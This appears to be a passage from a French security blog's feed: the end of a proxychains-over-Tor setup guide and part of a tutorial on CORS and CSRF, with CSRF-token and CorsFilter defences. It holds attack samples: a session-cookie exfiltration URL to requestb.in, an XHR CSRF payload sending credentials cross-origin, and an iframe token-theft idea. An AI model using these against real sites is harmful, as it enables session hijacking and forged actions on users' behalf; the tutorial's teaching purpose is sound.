&lt;p&gt;Vous pouvez vérifier que TOR écoute en lançant la commande &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;netstat -tulpn&lt;/code&gt;, vous devriez voir:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Proto Recv-Q Send-Q Adresse locale          Adresse distante        Etat        PID/Program name
tcp        0      0 127.0.0.1:9050          0.0.0.0:*               LISTEN      -
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Maintenant comment linker nos commandes sur TOR?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Proxychains va prendre en paramètre notre commande et linker le processus vers le(s) proxy(ies) de votre choix.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;ProxyChains is a UNIX program, that hooks network-related libc functions in dynamically linked programs via a preloaded DLL and redirects the
   connections through SOCKS4a/5 or HTTP proxies.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Utilisation:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ProxyChains-3.1 (http://proxychains.sf.net)
	usage:
		proxychains &amp;lt;prog&amp;gt; [args]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Proxychains demande de modifier sa configuration: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gedit /etc/proxychains.conf&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Voici ma configuration:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# proxychains.conf  VER 3.1
#
#        HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
#	

# The option below identifies how the ProxyList is treated.
# only one option should be uncommented at time,
# otherwise the last appearing option will be accepted
#
dynamic_chain
#
# Dynamic - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# at least one proxy must be online to play in chain
# (dead proxies are skipped)
# otherwise EINTR is returned to the app
#
#strict_chain
#
# Strict - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# all proxies must be online to play in chain
# otherwise EINTR is returned to the app
#
#random_chain
#
# Random - Each connection will be done via random proxy
# (or proxy chain, see  chain_len) from the list.
# this option is good to test your IDS :)

# Make sense only if random_chain
#chain_len = 2

# Quiet mode (no output from library)
quiet_mode

# Proxy DNS requests - no leak for DNS data
proxy_dns

# Some timeouts in milliseconds
tcp_read_time_out 15000
tcp_connect_time_out 8000

# ProxyList format
#       type  host  port [user pass]
#       (values separated by &apos;tab&apos; or &apos;blank&apos;)
#
#
#        Examples:
#
#            	socks5	192.168.67.78	1080	lamer	secret
#		http	192.168.89.3	8080	justu	hidden
#	 	socks4	192.168.1.49	1080
#	        http	192.168.39.93	8080	
#		
#
#       proxy types: http, socks4, socks5
#        ( auth types supported: &quot;basic&quot;-http  &quot;user/pass&quot;-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to &quot;tor&quot;
socks5 	127.0.0.1 9050
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;dynamic_chain&lt;/strong&gt;: pertinent surtout si vous chainez plusieurs proxies, les proxies down ne seront simplement pas pris en compte.&lt;br /&gt;
&lt;strong&gt;quiet_mode&lt;/strong&gt;: sortie non verbeuse.&lt;br /&gt;
&lt;strong&gt;proxy_dns&lt;/strong&gt;: demandera au proxy d’effectuer les résolutions DNS (SOCKS4a et SOCKS5).&lt;br /&gt;
&lt;strong&gt;tcp_read_time_out 15000, tcp_connect_time_out 8000&lt;/strong&gt;: socket timeout.&lt;br /&gt;
&lt;strong&gt;socks5 127.0.0.1 9050&lt;/strong&gt;: ici nous utilisons le réseau TOR.&lt;/p&gt;

&lt;p&gt;J’ai eu perso une erreur du type:&lt;br /&gt;
&lt;code&gt;ERROR: ld.so: object &apos;libproxychains.so.3&apos; from LD_PRELOAD cannot be preloaded: ignored.&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;La librairie partagée &lt;em&gt;libproxychains.so.3&lt;/em&gt; n’a pas été trouvée. La variable d’environnement &lt;em&gt;LD_PRELOAD&lt;/em&gt; n’est donc pas correctement initialisée (variable qui permet d’effectuer le hook des appels aux sockets).&lt;/p&gt;

&lt;p&gt;Editez le fichier &lt;em&gt;/usr/bin/proxychains&lt;/em&gt; et remplacez&lt;br /&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;export LD_PRELOAD=libproxychains.so.3&lt;/code&gt;&lt;br /&gt;
par&lt;br /&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;export LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libproxychains.so.3&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Au besoin effectuez un &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;locate libproxychains.so.3&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Je vous dis à très bientôt!&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>XSS, CORS, CSRF (Partie 3)</title>
   <link href="https://phackt.org/xss-cors-csrf-partie-3-cors-csrf"/>
   <updated>2016-08-20T00:00:00+00:00</updated>
   <id>https://phackt.org/xss-cors-csrf-partie-3-cors-csrf</id>
   <content type="html">&lt;h2 id=&quot;les-requêtes-cross-site&quot;&gt;Les requêtes Cross-Site.&lt;/h2&gt;

&lt;p&gt;Bienvenue dans ce dernier volet de notre Saga XSS (&lt;a href=&quot;https://phackt.org/xss-cors-csrf-partie-1-xss&quot;&gt;partie 1&lt;/a&gt;, &lt;a href=&quot;https://phackt.org/xss-cors-csrf-partie-2-xss-cookies-session&quot;&gt;partie 2&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Dans notre précédent article nous avions récupéré un cookie de session insuffisamment sécurisé grâce à une vulnérabilité XSS. Vous étiez nombreux dans ma tête à me demander pourquoi ce message d’erreur (ici Chrome mais le fonctionnement est identique sous IE, Firefox) :&lt;/p&gt;

&lt;pre class=&quot;alert&quot;&gt;
XMLHttpRequest cannot load http://requestb.in/w7iy5sw7?cookie=PHPSESSID_unsecured=jm5mah0a9uuf4g344096nled73. No &apos;Access-Control-Allow-Origin&apos; header is present on the requested resource. Origin &apos;http://localhost&apos; is therefore not allowed access.
&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;
Alors que nous avions bien réceptionné notre requête sur requestb.in :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/cors-csrf/cors_1.png&quot; alt=&quot;Cross-Origin simple&quot; /&gt;&lt;br /&gt;
Et bien nous sommes dans le cas d’une &lt;strong&gt;requête simple Cross-origin&lt;/strong&gt; :&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;Le Cross-origin resource sharing (CORS) est un mécanisme qui permet à des ressources restreintes d’une page web d’être requêtées par un autre domaine que celui de la ressource en question&lt;/em&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Comme stipulé sur le site de Mozilla :&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Le standard de partage de ressources d’origines croisées fonctionne grâce à l’ajout d’entêtes HTTP qui permettent aux serveurs de décrire l’ensemble des origines permises. C’est ensuite le navigateur qui lit cette information et en fait l’usage adéquat. Par ailleurs, pour les requêtes HTTP dont les méthodes pourraient avoir des effets secondaires sur les données utilisateur (non idempotentes - en particulier pour les méthodes HTTP autres que GET, ou pour l’utilisation du POST avec certains types MIME), la spécification mandate les navigateurs de “pré-vérifier” la requête en sollicitant le serveur pour connaître les méthodes approuvées. Cette pré-vérification s’effectue avec la méthode HTTP OPTIONS, et ensuite, après “approbation” du serveur, envoie la requête véritable. Les serveurs peuvent aussi notifier les clients des informations pouvant être associées aux requêtes cross-origin (incluant les cookies et les données d’authentification HTTP).&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Dans notre exemple de requête simple cross-origin, le domaine de la ressource ayant initié la requête (&lt;strong&gt;http://localhost:80&lt;/strong&gt;) étant différent du domaine requêté (&lt;strong&gt;http://requestb.in:80&lt;/strong&gt;), notre navigateur détecte une requête &lt;strong&gt;CORS&lt;/strong&gt; (l’origine est représentée par &lt;strong&gt;protocole://domaine:port&lt;/strong&gt;). Pour connaitre le comportement à adopter, le navigateur attend dans la réponse un header &lt;strong&gt;Access-Control-Allow-Origin&lt;/strong&gt; qui nous informe sur l’autorisation d’accès ou non à la ressource. Le comportement par défaut en l’absence d’un tel header est de considérer l’opération comme &lt;strong&gt;DONE&lt;/strong&gt; (xhr.readyState == 4) mais de retourner un statut &lt;strong&gt;UNSENT/OPENED&lt;/strong&gt; (xhr.status == 0). Nous ne pourrons donc pas accéder au contenu de notre réponse.&lt;/p&gt;

&lt;p&gt;Cependant nous remarquons que sans filtre explicite coté serveur et en déléguant la sécurité au navigateur (absence par défaut du header Access-Control-Allow-Origin), la requête a été correctement traitée coté serveur. Ceci ne sera pas le cas avec les requêtes pré-vérifiées.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Requête simple&lt;/strong&gt; :&lt;/p&gt;

&lt;p&gt;Une requête cross-site simple est une requête qui:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Utilise les méthodes HTTP GET, HEAD ou POST. Si POST est utlisé pour envoyer des données au serveur le Content-Type des données envoyé au serveur est soit application/x-www-form-urlencoded, multipart/form-data, ou text/plain.&lt;/li&gt;
  &lt;li&gt;Ne positionne pas d’entêtes personnalisés avec la requête HTTP Request (comme par exemple X-Modified, etc.).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Requête pré-vérifiée&lt;/strong&gt; :&lt;/p&gt;

&lt;p&gt;Une requête est prévérifiée si :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Elle utilise des méthodes autres que GET, HEAD ou POST.  Aussi, si POST est utilisée pour envoyer des requêtes de données avec un Content-Type autre que application/x-www-form-urlencoded, multipart/form-data, ou text/plain, par exemple si la requête POST envoie au serveur un contenu utile XML en utilisant application/xml ou text/xml, alors la requête est pré-vérifiée.&lt;/li&gt;
  &lt;li&gt;Elle positionne des entêtes propres (ex: la requête utilise une entête comme X-PINGOTHER).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Vous trouverez un très bon exemple de requête CORS préflight &lt;a href=&quot;https://developer.mozilla.org/fr/docs/HTTP/Access_control_CORS#Requ.C3.AAtes_pr.C3.A9-v.C3.A9rifi.C3.A9es&quot;&gt;ici&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Le serveur nous retournera tous les headers nécessaires pour informer le client des autorisations Cross-Origin. Encore une fois inutile de faire du copier/coller, vous trouvez la liste de ces headers response &lt;a href=&quot;https://developer.mozilla.org/fr/docs/HTTP/Access_control_CORS#Les_ent.C3.AAtes_HTTP_de_r.C3.A9ponse&quot;&gt;ici&lt;/a&gt;. Certains &lt;a href=&quot;https://developer.mozilla.org/fr/docs/HTTP/Access_control_CORS#Les_ent.C3.AAtes_HTTP_de_la_requ.C3.AAte&quot;&gt;request headers&lt;/a&gt; sont automatiquement positionnés par le navigateur.&lt;/p&gt;

&lt;p&gt;Vous ne pourrez pas agir sur les request headers CORS, si vous tentez ce genre d’opérations :&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;xhr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setRequestHeader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Origin&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;http://requestb.in&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;xhr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setRequestHeader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Referer&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;http://requestb.in/11hlgzo1&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Vous aurez un joli message sous Chrome et le navigateur positionnera lui-même ces entêtes (comportement identique sous Firefox et IE, seuls les messages d’erreur diffèrent):&lt;/p&gt;
&lt;pre class=&quot;alert&quot;&gt;
Refused to set unsafe header &quot;Origin&quot;  
Refused to set unsafe header &quot;Referer&quot;  
&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;
La première chose pour un site souhaitant faire du CORS est de bien positionner les origines autorisées avec le header &lt;strong&gt;Access-Control-Allow-Origin&lt;/strong&gt;. Ce dernier doit stipuler explicitement les origines autorisées pour bénéficier pleinement de l’utilisation des XHR (rappelons que l’utilisation de ces headers concernent les XmlHttpRequest, une iframe par exemple n’émettra pas de header Origin et sera soumise à la &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy#Changing_origin&quot;&gt;Same Origin Policy&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Cependant &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Access-Control-Allow-Origin: *&lt;/code&gt; : toutes les origines peuvent accéder à la ressource. La restriction concernant l’utilisation du wildcard est que les réponses des requêtes XHR &lt;strong&gt;withCredentials&lt;/strong&gt; ne pourront pas être lues pour des raisons de sécurité, &lt;strong&gt;même si le serveur positionne le header &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Access-Control-Allow-Credentials: true&lt;/code&gt;&lt;/strong&gt;. Imaginons que toutes les conditions soient remplies; un pirate pourrait coder depuis son site (ou à partir d’une XSS) une succession de requêtes cross-origin incluant les credentials de l’utilisateur et effectuer des actions à son insu (la lecture des réponses withCredentials implique donc une origine explicitement autorisée par le serveur et un Access-Control-Allow-Credentials: true):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/cors-csrf/cors_2.png&quot; alt=&quot;Schema attaque CORS&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Comme nous l’avons vu, en l’absence de ce header, le navigateur bloquera l’accès à la réponse. Cependant cette &lt;strong&gt;requête simple CORS POST &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/withCredentials&quot;&gt;withCredentials&lt;/a&gt;&lt;/strong&gt; sera interprétée sur le serveur si ce dernier ne possède pas de filtre CORS explicite (à partir d’un site malicieux, les requêtes GET, POST générées à partir d’éléments HTML enverront le cookie dans la requête. Sur de l’Ajax il faut rajouter la clause withCredentials = true).&lt;/p&gt;

&lt;p&gt;Pour cet exemple, nous avons créé une page &lt;strong&gt;http://localhost/secu/cookie.html&lt;/strong&gt;:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
	&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;xhr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;XMLHttpRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;xhr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;POST&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;http://requestb.in/11hlgzo1&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;xhr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;withCredentials&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;xhr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;op=exaction&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Au préalable nous nous sommes connectés sur &lt;strong&gt;requestb.in&lt;/strong&gt;. Ce site initialise plusieurs cookies dont le suivant :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/cors-csrf/cors_3.png&quot; alt=&quot;Cookie requestb.in&quot; /&gt;&lt;br /&gt;
Nous remarquons un cookie HttpOnly, donc impossible d’y accéder via &lt;strong&gt;document.cookie&lt;/strong&gt;. Cependant &lt;strong&gt;withCredentials&lt;/strong&gt; inclut automatiquement les cookies dans la requête (&lt;em&gt;Update 14/05/2017: validé à nouveau sur Chrome v56, cependant le comportement n’est pas reproductible sur ma Kali sur des versions Firefox ESR v45.3 et Chromium v53&lt;/em&gt;).&lt;/p&gt;

&lt;p&gt;Vérifions l’éxecution du payload sur request.bin :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/cors-csrf/cors_4.png&quot; alt=&quot;Résultat request.bin&quot; /&gt;&lt;br /&gt;
Un petit tour du côté de la console :&lt;/p&gt;
&lt;pre class=&quot;alert&quot;&gt;
XMLHttpRequest cannot load http://requestb.in/11hlgzo1. No &apos;Access-Control-Allow-Origin&apos; header is present on the requested resource. Origin &apos;http://localhost&apos; is therefore not allowed access
&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;
Et de la réponse :&lt;/p&gt;

&lt;div class=&quot;language-http highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;HTTP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1.1&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;200&lt;/span&gt; &lt;span class=&quot;ne&quot;&gt;OK&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Sat, 20 Aug 2016 14:41:21 GMT&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;text/html; charset=utf-8&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Sponsored-By&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://www.runscope.com&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Set-Cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;session=eyJyZWNlbnQiOlsiMTFobGd6bzEiLCIxNzRzOGR3MSJdfQ.Cpn9kQ.ouuFFtBlOyU9cX5aymJeDrg57gQ; HttpOnly; Path=/&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Via&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;1.1 vegur&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;cloudflare-nginx&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;CF-RAY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;2d569b0e05cb0914-CDG&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;gzip&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Transfer-Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;chunked&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;L’objet de cette attaque est donc de transmettre à un utilisateur authentifié une requête HTTP falsifiée qui pointe sur une action interne au site (www.site-de-confiance.com), afin qu’il l’exécute sans en avoir conscience et en utilisant ses propres droits. Il s’agit d’une attaque &lt;strong&gt;Cross-Site Request Forgery&lt;/strong&gt;. Ici nous n’utilisons pas de faille XSS car tout se passe sur le site du pirate.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Comment éviter ce type d’attaque CSRF?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;L’application doit positionner dans les formulaires un &lt;strong&gt;jeton aléatoire unique&lt;/strong&gt; non prédictible par l’assaillant (nonce). Ainsi lors d’une soumission sur www.site-de-confiance.com, le serveur vérifiera si ce jeton est présent et si il est valide. Demandez également des confirmations sur vos actions critiques (exemple demande de l’ancien mot de passe si ce dernier doit être changé).&lt;/p&gt;

&lt;p&gt;Vous trouverez sur &lt;a href=&quot;https://github.com/phackt/DemoWebApp&quot;&gt;https://github.com/phackt/DemoWebApp&lt;/a&gt; la protection &lt;strong&gt;CSRF&lt;/strong&gt; activée par défaut avec &lt;strong&gt;Spring Security&lt;/strong&gt;. Je vous recommande de lire la &lt;a href=&quot;http://docs.spring.io/spring-security/site/docs/current/reference/html/csrf.html&quot;&gt;documentation&lt;/a&gt; si vous utilisez ce framework dans votre web app Java.&lt;/p&gt;

&lt;p&gt;Voici par exemple ce qui est généré dans un formulaire :&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;form&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;idFilesUploadForm&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;action=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;uploadFile&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;method=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;POST&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;enctype=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;multipart/form-data&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
	...
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;hidden&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;_csrf&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;400a3ca2-4a8e-4c2e-b248-9d60a0e112b5&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Vous vous demandez peut être si nous pouvons contourner ce token sur un site vulnérable au XSS. Rappelez-vous notre &lt;a href=&quot;https://phackt.org/xss-cors-csrf-partie-2-xss-cookies-session#iframe&quot;&gt;payload&lt;/a&gt; dans notre précédent article et le response header &lt;strong&gt;X-Frame-Options&lt;/strong&gt;… Si cet header est absent rien ne nous empêche sur le site www.site-de-confiance.com de charger notre page dans une &lt;strong&gt;iframe&lt;/strong&gt;, de récupérer le token et de le soumettre pour effectuer une action malveillante.&lt;/p&gt;

&lt;p&gt;Il est également important de définir une politique CORS &lt;strong&gt;coté serveur&lt;/strong&gt;. Nous pouvons tout simplement renvoyer un code &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;403 – Forbidden&lt;/code&gt; pour les cross-origin en implémentant un &lt;strong&gt;CORS Filter&lt;/strong&gt;. A partir de Tomcat 7 vous pouvez utiliser le filtre &lt;a href=&quot;https://tomcat.apache.org/tomcat-8.0-doc/config/filter.html#CORS_Filter&quot;&gt;CorsFilter&lt;/a&gt; dans votre chaine de filtres (fichier web.xml) :&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;filter&amp;gt;&lt;/span&gt;
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;filter-name&amp;gt;&lt;/span&gt;CorsFilter&lt;span class=&quot;nt&quot;&gt;&amp;lt;/filter-name&amp;gt;&lt;/span&gt;
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;filter-class&amp;gt;&lt;/span&gt;org.apache.catalina.filters.CorsFilter&lt;span class=&quot;nt&quot;&gt;&amp;lt;/filter-class&amp;gt;&lt;/span&gt;
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;init-param&amp;gt;&lt;/span&gt;
		&lt;span class=&quot;nt&quot;&gt;&amp;lt;param-name&amp;gt;&lt;/span&gt;cors.allowed.origins&lt;span class=&quot;nt&quot;&gt;&amp;lt;/param-name&amp;gt;&lt;/span&gt;
		&lt;span class=&quot;nt&quot;&gt;&amp;lt;param-value&amp;gt;&lt;/span&gt;http://mondomain&lt;span class=&quot;nt&quot;&gt;&amp;lt;/param-value&amp;gt;&lt;/span&gt;
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;/init-param&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/filter&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;filter-mapping&amp;gt;&lt;/span&gt;
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;filter-name&amp;gt;&lt;/span&gt;CorsFilter&lt;span class=&quot;nt&quot;&gt;&amp;lt;/filter-name&amp;gt;&lt;/span&gt;
	&lt;span class=&quot;nt&quot;&gt;&amp;lt;url-pattern&amp;gt;&lt;/span&gt;/*&lt;span class=&quot;nt&quot;&gt;&amp;lt;/url-pattern&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/filter-mapping&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Vous trouvez le flowchart du filtre &lt;a href=&quot;http://tomcat.apache.org/tomcat-8.0-doc/images/cors-flowchart.png&quot;&gt;ici&lt;/a&gt;.
&lt;strong&gt;Ceci interdit donc en amont l’accès à toute requête cross-origin.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Quid des frameworks pour développer des clients riches comme Angular ou React&lt;/strong&gt; ?&lt;br /&gt;
